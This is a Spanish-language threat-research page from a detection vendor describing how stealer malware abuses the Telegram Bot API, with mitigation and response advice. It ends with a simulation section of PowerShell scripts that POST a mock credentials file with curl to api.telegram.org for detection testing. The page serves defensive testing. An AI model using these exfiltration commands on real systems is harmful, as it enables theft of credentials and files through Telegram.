SOC Prime Bias: Medio

17 Dic 2025 17:33

Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El artículo explica cómo varios actores de amenazas abusan de la API de Bot de Telegram y de los canales en empresas para el mando y control, la exfiltración de datos y la monitorización de las víctimas. Familias de malware, incluidas DeerStealer, Lumma Stealer, Raven Stealer y un constructor XWorm troyanizado codifican de manera rígida tokens de bots o IDs de canales y llaman a endpoints como /sendMessage y /sendDocument. Incluye consultas de detección de Microsoft Defender y Sentinel enfocadas en líneas de comando de procesos sospechosos y tráfico hacia api.telegram.org. La guía clave es establecer un uso legítimo de base de Telegram y bloquear la API donde no se necesite.

Investigación

El SOC de NVISO reportó cuatro intentos de intrusión observados entre octubre de 2025 y marzo de 2025, en los cuales Telegram fue utilizado en diferentes puntos del ciclo de vida del ataque. El informe destaca campañas como Lunar Spider monitorizando víctimas a través de falsos captchas, DeerStealer enviando notificaciones a operadores mediante curl, Lumma Stealer obteniendo detalles de C2 de canales de Telegram, Raven Stealer exfiltrando colecciones archivadas, y un constructor de XWorm que depende de la API de Bot tanto para exfiltración como para C2. Los analistas extrajeron indicadores que incluyen líneas de comando de procesos, destinos de red y nombres relevantes de archivos.

Mitigación

Establecer una línea base para el uso legítimo de Telegram, luego bloquear el acceso saliente a api.telegram.org en entornos donde no se requiera. Vigilar procesos poco comunes (por ejemplo, curl, powershell, wscript) que inicien conexiones con la API e investigar cualquier interacción scriptada con la API de Bot. Ajustar las detecciones para suprimir comportamientos esperados como navegadores conocidos iniciando telegram.exe, y priorizar solicitudes de sondeo largo o estilo webhook que se originen desde binarios sospechosos o hosts inesperados.

Respuesta

Cuando se detecta actividad, aislar el punto final afectado, detener procesos sospechosos y preservar argumentos de línea de comando junto con telemetría de DNS, proxy y red. Realizar análisis forense más profundo para identificar cargas útiles posteriores asociadas con campañas como DeerStealer o Raven Stealer. Rotar cualquier token de bot expuesto, deshabilitar o revocar canales de Telegram abusados, y contener la propagación bloqueando indicadores relacionados. Si se confirma abuso, escalar el reporte a través de los canales oficiales de Telegram y documentar el incidente para prevenir recurrencias.

«graph TB %% Definiciones de clase classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef process fill:#c2d6f0 classDef malware fill:#f9c2ff classDef operator fill:#ff9900 %% Nodos u2013 Técnicas attack_user_execution[«<b>Técnica</b> – <b>T1204 Ejecución de Usuario</b>: Las víctimas son engañadas para ejecutar un ejecutable malicioso disfrazado de una falsa actualización de Google Chrome.»] class attack_user_execution technique attack_software_extensions[«<b>Técnica</b> – <b>T1176 Extensiones de Software</b>: Un plugin de WordPress comprometido inyecta iframes maliciosos para entregar la falsa actualización.»] class attack_software_extensions technique action_archive_data[«<b>Técnica</b> – <b>T1560.001 Archivo vía Utilidad</b>: PowerShell archiva archivos recolectados en un archivo ZIP.»] class action_archive_data technique tech_compression[«<b>Técnica</b> – <b>T1027.015 Compresión</b>: El archivo ZIP comprime datos para reducir el tamaño para la exfiltración.»] class tech_compression technique process_powershell[«<b>Proceso</b> – <b>T1059.001 PowerShell</b>: Ejecuta el archivado y posteriormente invoca curl para la transmisión.»] class process_powershell process action_curl[«<b>Acción</b> – Curl: PowerShell llama a curl para enviar el archivo al servidor C2.»] class action_curl tool tech_dead_drop[«<b>Técnica</b> – <b>T1102.001 Resolución Dead Drop</b>: El malware se comunica con los puntos finales de la API de Telegram Bot.»] class tech_dead_drop technique tech_messaging_exfil[«<b>Técnica</b> – <b>T1213.005 Aplicaciones de Mensajería</b>: La información del sistema y las credenciales son exfiltradas vía chats/bots de Telegram.»] class tech_messaging_exfil technique tech_unsecured_creds[«<b>Técnica</b> – <b>T1552.008 Credenciales No Seguras</b>: Los tokens de Discord y contraseñas guardadas se envían como mensajes de chat.»] class tech_unsecured_creds technique tech_data_obfusc[«<b>Técnica</b> – <b>T1001 Ofuscación de Datos</b>: Los nombres de los canales de Telegram están cifrados con ROT13/ROT15.»] class tech_data_obfusc technique tech_dynamic_resolution[«<b>Técnica</b> – <b>T1568 Resolución Dinámica</b>: El malware decodifica el identificador ofuscado en tiempo de ejecución.»] class tech_dynamic_resolution technique tech_exfil_c2[«<b>Técnica</b> – <b>T1041 Exfiltración a Través del Canal C2</b>: El archivo comprimido y los datos robados se envían a través del canal de Telegram.»] class tech_exfil_c2 technique %% Nodos u2013 Herramientas / Malware tool_fake_update[«<b>Malware</b> – Falsa Actualización de Chrome: Ejecutable malicioso entregado a las víctimas.»] class tool_fake_update malware tool_wordpress_plugin[«<b>Herramienta</b> – Plugin de WordPress <i>header-fix-tester</i>: Inyecta iframes maliciosos.»] class tool_wordpress_plugin tool %% Nodos de Operador (opcional) op_and1((«AND»)) class op_and1 operator %% Conexiones u2013 Flujo de Ataque attack_user_execution u002du002d>|entrega| tool_fake_update attack_software_extensions u002du002d>|inyecta iframe para entregar| tool_fake_update tool_fake_update u002du002d>|se ejecuta a través de| process_powershell process_powershell u002du002d>|crea| action_archive_data action_archive_data u002du002d>|aplica| tech_compression tech_compression u002du002d>|produce archivo para| action_curl action_curl u002du002d>|envía datos a| tech_dead_drop tech_dead_drop u002du002d>|habilita| tech_messaging_exfil tech_messaging_exfil u002du002d>|transporta| tech_unsecured_creds tech_unsecured_creds u002du002d>|usa| tech_data_obfusc tech_data_obfusc u002du002d>|soporta| tech_dynamic_resolution tech_dynamic_resolution u002du002d>|facilita| tech_exfil_c2 tech_exfil_c2 u002du002d>|exfiltra datos a través de| tech_dead_drop %% Asignaciones de clase class tool_fake_update malware class tool_wordpress_plugin tool class op_and1 operator «

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de la detección.

  • Narrativa de Ataque y Comandos:
    Un adversario con un host Windows comprometido desea exfiltrar un archivo de credenciales recopiladas (creds.txt) a un bot de Telegram que controlan. Para evitar almacenar un binario personalizado, usan el curl.exe de manera nativa (instalado mediante las funciones opcionales de Windows 10) para POST el archivo a https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. El comando se ejecuta desde PowerShell, asegurando que el evento de creación del proceso registre una línea de comando que contenga “api.telegram.org”. Debido a que el proceso es curl.exe, el filtro de la regla (InitiatingProcessFileName: "telegram.exe") no suprime la alerta.

    # Variables (reemplazar con valores controlados por el atacante)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # Asegúrese de que el archivo exista (simulación de volcado de credenciales)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Ejecutar la exfiltración mediante la API de Bot de Telegram
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • Script de Prueba de Regresión: El script de abajo reproduce los pasos exactos, adecuado para ejecuciones automatizadas de BAS.

    #--------------------------------------------
    # Prueba de Regresión – Exfiltración de API de Telegram
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # Crear espacio de trabajo temporal
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # Archivo de credenciales simulado
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # Construir URL de API
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # Invocar exfiltración
    Write-Host "[*] Exfiltrando $CredFile a Telegram..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # Indicador simple de éxito (no verifica la entrega)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Comando de exfiltración ejecutado."
    } else {
        Write-Error "[-] Fallo en la exfiltración."
    }
  • Comandos de Limpieza: Remover el archivo y directorio temporal; opcionalmente terminar cualquier curl.exe proceso persistente.

    # Limpiar artefactos temporales
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] Limpieza completa."